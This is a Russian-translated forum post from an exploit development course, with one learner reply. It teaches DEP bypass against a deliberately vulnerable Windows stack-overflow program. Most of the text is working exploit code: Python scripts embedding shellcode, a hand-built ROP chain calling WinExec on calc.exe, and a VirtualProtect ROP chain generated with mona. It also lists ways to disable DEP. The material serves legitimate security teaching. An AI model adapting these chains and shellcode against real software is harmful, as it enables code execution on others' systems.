R0 CREW

Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

ru
#1

Перейти к содержанию

Exploitme3 (DEP)

Данные статьи лучше читать в правильном порядке, потому что они являются частью всего курса. Я предполагая, что вы уже ознакомились с материалами Exploitme1 и Exploitme2.

Данная статья не легка в освоении и может занять некоторое ваше время. Я пытался быть кратким так как не верю в метод повторения чего-бы то ни было помногу раз. Если вы поймете принципы которые кроются за ROP, то и сможете разобраться как все работает. Именно это я делал когда изучал ROP впервые. Также вы должны быть знакомы с языком ассемблера. Что именно делает инструкция RET 0x4? Как аргументы передаются в функцию (в 32-х коде)? Если вы не уверены в своих ответах, вам следует вернутся к изучению ассемблера. Вы предупреждены!

Давайте начнем…

Прежде всего, в VS 2013, мы отключим stack cookies, но оставим включенным DEP. Для этого перейдем в Project→properties и изменим конфигурацию для Release:

Configuration Properties:

  • C/C++

    • Code Generation

      • Security Check: Disable Security Check (/GS-)

Убедитесь что DEP включен:

Configuration Properties:

  • Linker

    • Advanced

      • Data Execution Prevention (DEP): Yes (/NXCOMPAT)

Будем использовать тот же код, что и прежде:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}

Сгенерируем name.dat с помощью Python скрипта который мы использовали для exploitme1.exe:

with open('c:\\name.dat', 'wb') as f:
    ret_eip = '\x80\xa9\xe1\x75'       # "push esp / ret" in kernel32.dll
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
          "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
          "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
          "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
          "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
          "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
          "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
          "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
          "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
          "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
          "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
          "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
          "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
          "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
          "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
          "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
          "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
          "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
          "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
          "\x30\x03\xc6\xeb\xdd")
    name = 'a'*36 + ret_eip + shellcode
    f.write(name)

Стоит заметить, что я изменил ret_eip по причине перезагрузки Windows. Помните что команда для поиска инструкции JMP ESP или эквивалентного кода в kernel32.dll такова:

!py mona jmp -r esp -m kernel32.dll

Если запустить exploitme3.exe с отключенным DEP, эксплойт будет работать, но без него будет сгенерировано следующее исключение:

(1ee8.c3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d593071 edx=005a556b esi=00000001 edi=00000000
eip=002ef788 esp=002ef788 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
002ef788 e8ffffffff      call    002ef78c

Берем во внимание то, что EIP = ESP, по этому мы просто перепрыгиваем к ESP, но что-то идет не так. Если мы дизассемблируем код по адресу EIP то увидим что это действительно наш шелл-код:

0:000> u eip
002ef788 e8ffffffff      call    002ef78c
002ef78d c05fb911        rcr     byte ptr [edi-47h],11h
002ef791 0302            add     eax,dword ptr [edx]
002ef793 0281f1020202    add     al,byte ptr [ecx+20202F1h]
002ef799 0283c71d33f6    add     al,byte ptr [ebx-9CCE239h]
002ef79f fc              cld
002ef7a0 8a07            mov     al,byte ptr [edi]
002ef7a2 3c02            cmp     al,2

Часть нашего шелл-кода (смотрите Python скрипт выше):

\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02

Как видите, байты совпадают.

Так в чем же проблема? Проблема в том, что страницы, который содержат данный код помечены как «не выполняемые (not executable)».

Вот что вы увидите если страница будет помечена как выполняемая:

0:000> !vprot @eip
BaseAddress:       77c71000
AllocationBase:    77bd0000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        00045000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE

Важная строка:

Protect:           00000020  PAGE_EXECUTE_READ

которая значит то, что страница помечена как «только для чтения (readonly)» и «выполняемая (executable)».

В нашем случае, после исключения, мы видим нечто другое:

0:000> !vprot @eip
BaseAddress:       0028f000
AllocationBase:    00190000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        00001000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

Страница «читаемая (readable)» и «записываемая (writeable)» но не «выполняемая».

Обьяснение простое: DEP(Data Execution Prevention) помечает все страницы содержащие данные как «не выполняемые (non-executable)». Это включает стек и кучу. Решение простое: не выполнять код в стеке!

Техника, которая реализует это, называется ROP что значит Return-Oriented Programming (Возвратно-ориентированное программирование).

Идея проста:

  1. Повторно использовать частик ода уже представленные в модуле
  2. Использовать стек только для контроля данных и потока выполнения

Рассмотрим следующие три части кода:

piece1:
   pop    eax
   pop    ebx
   ret
 
piece2:   
   mov    ecx, 4
   ret
 
piece3:
   pop    edx
   ret

piece1, piece2 и piece3 – три метки, которые представляют адреса в памяти. Мы используем их в будущем ради замены простых адресов для нашего же удобства.

Теперь, давайте внесем следующие значения в стек:

esp --> value_for_eax
        value_for_ebx
        piece2
        piece3
        value_for_edx

Если в начале EIP = piece1 и мы запустим код, вот что случится:

Схема должна быть ясна, но давайте изучим её шаг за шагом:

  1. Выполнение начинается по адресу peace1 и esp указывает на value_for_eax.
  2. pop eax помещает value_for_eax в eax (esp += 4: сейчас esp указывает на values_for_ebx).
  3. pop ebx помещает value_for_ebx в ebx (esp += 4: сейчас esp указывает на piece2).
  4. ret выталкивает из стека piece2 и переходит к piece2 (esp += 4: сейчас esp указывает на piece3).
  5. mov ecx, 4 помещает 4 в ecx.
  6. ret выталкивает из стека piece3 и переходит к piece3 (esp += 4: сейчас esp указывает на value_for_edx).
  7. pop edx помещает value_for_edx в edx (esp += 4: сейчас esp указывает на some_function).
  8. ret выталкивает из стека some_function и переходит к some_function.

Мы предполагаем, что some_function никогда ничего не возвращает.

Теперь должно быть ясно почему техника называется ROP: инструкция RET используется для перемещения от одной части кода к другой. Части кода обычно зовутся gadgets. Gadget – это просто последовательность инструкций, которые заканчиваются инструкцией RET.

Трудная часть этой статьи в том, что бы найти и соединить правильные gadgets для достижения нашей цели.

Вызов WinExec напрямую

Для нашего эксплойта мы хотим выполнит следующее:

WinExec("calc.exe", SW_SHOW);
ExitThread(0);

Соответствующий ассемблерный код: 
WinExec("calc.exe", SW_SHOW);
00361000 6A 05                push        5  
00361002 68 00 21 36 00       push        362100h  
00361007 FF 15 04 20 36 00    call        dword ptr ds:[362004h]  
    ExitThread(0);
0036100D 6A 00                push        0  
0036100F FF 15 00 20 36 00    call        dword ptr ds:[362000h]

Следует знать одну важную вещь: WinExec() и ExitThread() удаляют аргументы из стека сами (используя ret 8 и ret 4 соотвественно).

362100h– это адрес строки «calc.exe» размещенной в секции .rdata. Нам надо поместить строк упрямо в стек. Увы, адрес строки не может быть константой, поэтому нам надо будет вычислить его во время выполнения.

Прежде всего мы найдем интересующие нас gadgets в kernel32.dll, ntdll и msvcr120.dll. Используем mona еще раз. Если вы еще не делали такое, тогда установите рабочую директорию mona’ы:

!py mona config -set workingfolder "C:\logs\%p"

Конечно же, вы можете изменять директорию по своему усмотрению. Вырежение %p будет заменятся каждый раз названием выполняемого файла над которым вы работаете.

Код для нахождения ROP:

!py mona rop -m kernel32.dll,ntdll,msvcr120.dll

Данная команда выведет много данных и сгенерирует следующие файлы (в директории указаной выше):

  • rop.txt
  • rop_chains.txt
  • rop_suggestions.txt
  • stackpivot.txt

Посмотрите в файлах что за информацию они содержат.

Что бы вызвать WinExec и ExitThread, нам надо установить стек так:

cmd:  "calc"
        ".exe"
        0
        WinExec       <----- ESP
        ExitThread
        cmd                  # arg1 of WinExec
        5                    # arg2 (uCmdShow) of WinExec
        ret_for_ExitThread   # не используется
        dwExitCode           # arg1 of ExitThread

Если мы выполняем RET когда ESP указывает на место указанное выше, тогда выполнится WinExec. WinExec закончит выполнение инструкцией RETN 8 которая извлекает адрес ExitThread из стека, переходит к ExitThread и удаляет два аргумента из стека (увеличивая ESP на 8). ExitThread будет использовать dwExitCode, который размещен в стеке но не вернет его.

Две проблемы на схеме:

  1. Некоторые байты – NULL;
  2. cmd – не константа, по этому arg1 принадлежаащий WinExec должен быть исправлен во время выполнения.

Стоит заметить что в нашем случае, когда все данные читаются из файла через функцию fread(), нам не надо избегать null-байтов. Более того, что бы сделать процесс более интересным, мы предположим что null-байты могут появится в нашей ROP цепочке. Вместо 5 (SW_SHOW) мы можем использовать 0x01010101 который работает достаточно хорошо. Первый null DWORD используется для завершения строки cmd, так что нам надо заменить его чем-то подобным 0xffffffff. В завершение, нам надо записать cmd (т.е. адрес строки) в стек во время выполнения.

Подход такой:

Сперва мы пропускаем (увеличивая ESP) часть стека которую мы хотим исправить. Далее мы исправляет ту часть стека и, в конце, мы возвращаемся обратно (декрементируя ESP) к части которую мы исправили и «выполняем её» (в том случае если там есть ROP).

Вот Python скрипт который создает name.dat:

import struct
 
def write_file(file_path):
    # NOTE: The rop_chain can't contain any null bytes.
 
    msvcr120 = 0x6cf70000
    kernel32 = 0x77120000
    ntdll = 0x77630000
 
    WinExec = kernel32 + 0x92ff1
    ExitThread = ntdll + 0x5801c
    lpCmdLine = 0xffffffff
    uCmdShow = 0x01010101
    dwExitCode = 0xffffffff
    ret_for_ExitThread = 0xffffffff
 
    # These are just padding values.
    for_ebp = 0xffffffff
    for_ebx = 0xffffffff
    for_esi = 0xffffffff
    for_retn = 0xffffffff
 
    rop_chain = [
        msvcr120 + 0xc041d,  # ADD ESP,24 # POP EBP # RETN
# cmd:
        "calc",
        ".exe",
# cmd+8:
        0xffffffff,          # zeroed out at runtime
# cmd+0ch:
        WinExec,
        ExitThread,
# cmd+14h:
        lpCmdLine,           # arg1 of WinExec (computed at runtime)
        uCmdShow,            # arg2 of WinExec
        ret_for_ExitThread,  # not used
        dwExitCode,          # arg1 of ExitThread
# cmd+24h:
        for_ebp,
        ntdll + 0xa3f07,     # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
        # now edi = here
 
# here:
        for_esi,
        for_ebp,
        msvcr120 + 0x45042,  # XCHG EAX,EDI # RETN
        for_retn,
        # now eax = here
 
        msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
        for_ebx,
        for_ebp,
        msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        kernel32 + 0xb7804,  # INC EAX # RETN
        # now eax = cmd+8
 
        # do [cmd+8] = 0:
        msvcr120 + 0x76473,  # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN
        for_esi,
        for_ebp,
        msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        # now eax+0eh = cmd+14h (i.e. eax = cmd+6)
 
        # do ecx = eax:
        msvcr120 + 0x3936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
        kernel32 + 0xb7a0a,  # XOR EAX,EAX # RETN
        kernel32 + 0xbe203,  # XOR EAX,ECX # POP EBP # RETN 0x08
        for_ebp,
        msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
        for_retn,
        for_retn,
        for_ebp,
        msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
        for_ebp,
        # now eax = cmd
 
        msvcr120 + 0x3936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
        # now eax+0eh = cmd+14h
        # now ecx = cmd
 
        kernel32 + 0xa04fc,  # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10
        for_ebp,
        msvcr120 + 0x3936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
        for_retn,
        for_retn,
        for_retn,
        for_retn,
        msvcr120 + 0x1e47e,  # ADD EAX,0C # RETN
        # now eax = cmd+0ch
 
        # do esp = cmd+0ch:
        kernel32 + 0x489c0,  # XCHG EAX,ESP # RETN
    ]
 
    rop_chain = ''.join([x if type(x) == str else struct.pack('<I', x)
                         for x in rop_chain])
 
    with open(file_path, 'wb') as f:
        ret_eip = kernel32 + 0xb7805            # RETN
        name = 'a'*36 + struct.pack('<I', ret_eip) + rop_chain
        f.write(name)
 
 
write_file(r'c:\name.dat')

Цепочка gadget’ов довольно запутанная и вам надо потратить некоторое количество времени что бы разобраться в ней. Вы можете захотеть выполнить отладку в WinDbg. Запустите WinDbg, загрузите exploitme3.exe и установите точку останова на ret инструкцию функции main:

bp exploitme3!main+0x86

Далее нажмите F5 и начните прохождение кода клавишей F10. Используйте dd esp что бы смотреть на стек.

Пример описания того что происходит для вашего же понимания:

esp += 0x24+4              # ADD ESP,24 # POP EBP # RETN
                               # This "jumps" to "skip" ------------------------+
# cmd:                                                                          |
    "calc"                                                                      |
    ".exe"                                                                      |
# cmd+8:                                                                        |
    0xffffffff,                # zeroed out at runtime                          |
# cmd+0ch:                                                                      |
    WinExec     <----------------------------------------------------------------)---------------------------+
    ExitThread                                                                  |                            |
# cmd+14h:                                                                      |                            |
    lpCmdLine                  # arg1 of WinExec (computed at runtime)          |                            |
    uCmdShow                   # arg2 of WinExec                                |                            |
    ret_for_ExitThread         # not used                                       |                            |
    dwExitCode                 # arg1 of ExitThread                             |                            |
# cmd+24h:                                                                      |                            |
    for_ebp                                                                     |                            |
                                                                                |                            |
skip:           <---------------------------------------------------------------+                            |
    edi = esp                  # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04  |
                               # ----> now edi = here                                                        |
# here:                                                                                                      |
    eax = edi                  # XCHG EAX,EDI # RETN                                                         |
                               # ----> now eax = here                                                        |
                                                                                                             |
    eax -= 36                  # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                               # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                               # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                               # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                               # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                               # SUB EAX,2 # POP EBP # RETN                                                  |
                               # INC EAX # RETN                                                              |
                               # ----> now eax = cmd+8 (i.e. eax --> value to zero-out)                      |
                                                                                                             |
    dword ptr [eax] = 0        # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN           |
                                                                                                             |
    eax -= 2                   # SUB EAX,2 # POP EBP # RETN                                                  |
                               # ----> now eax+0eh = cmd+14h (i.e. eax+0eh --> lpCmdLine on the stack)       |
                                                                                                             |
    ecx = eax                  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN                                      |
                               # XOR EAX,EAX # RETN                                                          |
                               # XOR EAX,ECX # POP EBP # RETN 0x08                                           |
                                                                                                             |
    eax -= 6                   # SUB EAX,2 # POP EBP # RETN                                                  |
                               # SUB EAX,2 # POP EBP # RETN                                                  |
                               # SUB EAX,2 # POP EBP # RETN                                                  |
                               # ----> now eax = cmd                                                         |
                                                                                                             |
    swap(eax,ecx)              # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN                                      |
                               # ----> now eax+0eh = cmd+14h                                                 |
                               # ----> now ecx = cmd                                                         |
                                                                                                             |
    [eax+0eh] = ecx            # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10                           |
                                                                                                             |
    eax = ecx                  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN                                      |
    eax += 12                  # ADD EAX,0C # RETN                                                           |
                               # ----> now eax = cmd+0ch                                                     |
    esp = eax                  # XCHG EAX,ESP # RETN                                                         |
                               # This "jumps" to cmd+0ch ----------------------------------------------------+

Отключение DEP

Оказывается, что DEP можно отключить программно. Проблема DEP в том, что приложения могут не работать с ним, поэтому его надо хорошо настроить.

На глобальном уровне, DEP может быть:

  • AlwaysOn
  • AlwaysOff
  • OptIn: DEP включен толькоо для системных процессов и приложений запущенных пользователем
  • OptOut: DEP включен для всех приложений, исключая те, которые пользователь добавил в список отключенных

DEP может быть включен или выключен для каждого процесса используя SetProcessDEPPolicy.

Существует множество способов обойти DEP:

  • VirtualProtect() что бы сделать память выполняемой.
  • VirtualAlloc() что бы выделить выполняемую память.
    Заметьте: VirtualAlloc() может быть использована для выдачи памяти сразу же после указания её адреса. Что бы сделать страницу выполняемой, достаточно выделить один байт (длина = 1) этой памяти!
  • HeapCreate() + HeapAlloc() + скопировать память.
  • SetProcessDEPPolicy() что бы отключить DEP. Это не работает если DEP - AlwaysOn или если SetProcessDEPPolicy() уже был вызван для текущего процесса.
  • NtSetInformationProcess() что бы отключить DEP. Не получится если DEP имеет опцию AlwaysON или если модуль был скомпилирован с параметром /NXCOMPAT или если функция была уже вызвана текущим процессов.

Полезная таблица от Team Corelan:

Если посмотреть в файл rop_chains.txt, вы увидите, что mona сгенерировала цепочку из VirtualProtect.

Давайте используем это! Прежде всего посмотрим на VirtualProtect.

Сигнатура такая:

BOOL WINAPI VirtualProtect(
  _In_   LPVOID lpAddress,
  _In_   SIZE_T dwSize,
  _In_   DWORD flNewProtect,
  _Out_  PDWORD lpflOldProtect
);

Данная функция модифицирует атрибуты доступа к страницам определенного участка памяти. Мы будем использовать flNewProtect = 0x40 (PAGE_EXECUTE_READWRITE). Делая участок стека который содержит наш шелл-код исполняемым, мы сможем выполнить шелл-код как делали это прежде.

Цепочка сгенерированная mona’й для Python:

def create_rop_chain():
 
  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x6d02f868,  # POP EBP # RETN [MSVCR120.dll]
    0x6d02f868,  # skip 4 bytes [MSVCR120.dll]
    0x6cf8c658,  # POP EBX # RETN [MSVCR120.dll]
    0x00000201,  # 0x00000201-> ebx
    0x6d02edae,  # POP EDX # RETN [MSVCR120.dll]
    0x00000040,  # 0x00000040-> edx
    0x6d04b6c4,  # POP ECX # RETN [MSVCR120.dll]
    0x77200fce,  # &Writable location [kernel32.dll]
    0x776a5b23,  # POP EDI # RETN [ntdll.dll]
    0x6cfd8e3d,  # RETN (ROP NOP) [MSVCR120.dll]
    0x6cfde150,  # POP ESI # RETN [MSVCR120.dll]
    0x7765e8ae,  # JMP [EAX] [ntdll.dll]
    0x6cfc0464,  # POP EAX # RETN [MSVCR120.dll]
    0x6d0551a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
    0x6d02b7f9,  # PUSHAD # RETN [MSVCR120.dll]
    0x77157133,  # ptr to 'call esp' [kernel32.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

Идея цепочки проста: сначала мы помещаем правильные значения в регистры, потом пушим все регистры в стек с помощью инструкции PUSHAD. Как и прежде, давайте избавимся от null-байтов. Как вы уже успели заметить, данная цепочка содержит несколько таких байтов, поэтому я модифицировал её немного что бы избавится от них.

Прочитайте следующий код очень внимательно, обращайте внимание на описание действий в комментариях:

import struct
 
# Сигнатура VirtualProtect следующая:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# После того как PUSHAD выполнится, стек примет следующий вид:
#   .
#   .
#   .
#   EDI (указатель на ROP NOP (RETN))          <---------------------------- текущий ESP
#   ESI (указатель на JMP [EAX] (EAX = адрес указателя на VirtualProtect))
#   EBP (указатель на POP (пропускает EAX в стек))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (указатель на адреса для записи(writeable address)))
#   EAX (адрес указателя на VirtualProtect)
# lpAddress:
#   указатель на "call esp"
#   <шелл-код>
 
msvcr120 = 0x6cf70000
kernel32 = 0x77120000
ntdll = 0x77630000
 
def create_rop_chain():
    for_edx = 0xffffffff
 
    # rop chain generated with mona.py - www.corelan.be (and modified by me).
    rop_gadgets = [
        msvcr120 + 0xbf868,  # POP EBP # RETN [MSVCR120.dll]
        msvcr120 + 0xbf868,  # skip 4 bytes [MSVCR120.dll]
 
        # ebx = 0x400 (dwSize)
        msvcr120 + 0x1c658,  # POP EBX # RETN [MSVCR120.dll]
        0x11110511,
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        0xeeeefeef,
        msvcr120 + 0x46398,  # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
        for_edx,
 
        # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
        msvcr120 + 0xbedae,  # POP EDX # RETN [MSVCR120.dll]
        0x01010141,
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        0xfefefeff,
        msvcr120 + 0x39b41,  # ADD EDX,EDI # RETN [MSVCR120.dll]
 
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        kernel32 + 0xe0fce,  # &Writable location [kernel32.dll]
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        msvcr120 + 0x68e3d,  # RETN (ROP NOP) [MSVCR120.dll]
        msvcr120 + 0x6e150,  # POP ESI # RETN [MSVCR120.dll]
        ntdll + 0x2e8ae,     # JMP [EAX] [ntdll.dll]
        msvcr120 + 0x50464,  # POP EAX # RETN [MSVCR120.dll]
        msvcr120 + 0xe51a4,  # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
        msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]
        kernel32 + 0x37133,  # ptr to 'call esp' [kernel32.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = kernel32 + 0xb7805            # RETN
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain() + shellcode
        f.write(name)
 
write_file(r'c:\name.dat')

Вот еще раз основные комметарии:

# После того как PUSHAD выполнится, стек примет следующий вид:
#   .
#   .
#   .
#   EDI (указатель на ROP NOP (RETN))          <---------------------------- текущий ESP
#   ESI (указатель на JMP [EAX] (EAX = адрес указателя на VirtualProtect))
#   EBP (указатель на POP (пропускает EAX в стек))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (указатель на адреса для записи(writeable address)))
#   EAX (адрес указателя на VirtualProtect)
# lpAddress:
#   указатель на "call esp"
#   <шелл-код>

PUSHAD пушит в стек регистры EAX, ECX, EDX, EBX, исходный ESP, EBP, ESI, EDI. Регистры пушатся по одному за раз, поэтому их порядок в стеке противоположный, как вы могли убедиться из комментариев выше.

Также стоит заметить, что перед тем как PUSHAD выполнилась, ESP указывал на последний dword цепочки (указатель на ‘call esp’ [kernel32.dll]), и PUSHAD запушил значение в стек (ESP (lpAddress (automatic))). Это значение становится lpAddress которое является стартовым адресом участка памяти, параметры доступа которого мы хотим изменить.

После того как PUSHAD выполнится, ESP указывает на DWORD где EDI был запушен (смотрите на текущий ESP выше). В PUSHAD gadget’e, PUSHAD следует за RET:

msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]

Этот RET выталкивает из стека DWORD где EDI был запушен и переходит на NOP gadget (NOP означает «никакого действия») который выталкивает из стека DWORD где ESI был запушен и перешел (jmp) наJMP [EAX] gadget. Из-за того что EAX содержит адрес указателя на VirtualProtect, этот gadget переходит на VirtualProtect.

Помните что стек настроен правильно для VirtualProtect:

EBP (указатель на POP (пропускает EAX в стек))
ESP (lpAddress (automatic))
EBX (dwSize)
EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
ECX (lpOldProtect (указатель на адреса для записи(writeable address)))

Когда VirtualProtect, выполнится прыжок на POP # RET gadget соответствующий EBP на схеме выше и удалит все аргументы из стека. Сейчас ESP указывает на DWROD в стеке соответствующий EAX. POP # RET gadget наконец-то выполнился так, что инструкция POP инкрементировала ESP и RET выполнил jmp на call esp gadget который вызывает шелл-код (который уже может выполняться).

Теперь вы уже наверняка заметили, что я предпочитаю следующие выражения:

baseAddress + RVA

Причина проста: из-за ASLR адреса меняются, но RVA остается константой.

Что бы попробовать выполнить код на вашем компьютере, вам просто надо обновить базовые адреса. Когда мы имеем дело с ASLR, написание адресов таким путем становится полезным.

© Translated by klaus (r0 Crew)
#2

здравствуйте, прохожу этот курс и на этом этапе у меня возникли проблемы)
первое отсутствие в системе msvcr120.dll (есть msvcr140.dll но что то мона в ней не нашла нужных гаджетов)
второе отличаются офсеты на WinExec = kernel32 + 0x93231 и ExitThread = kernel32 + 0x179B0
дальше я переписал роп цепь сам как смог))

я перехожу в WinExec стек сформирован по схеме но калькулятор призвать не получается(

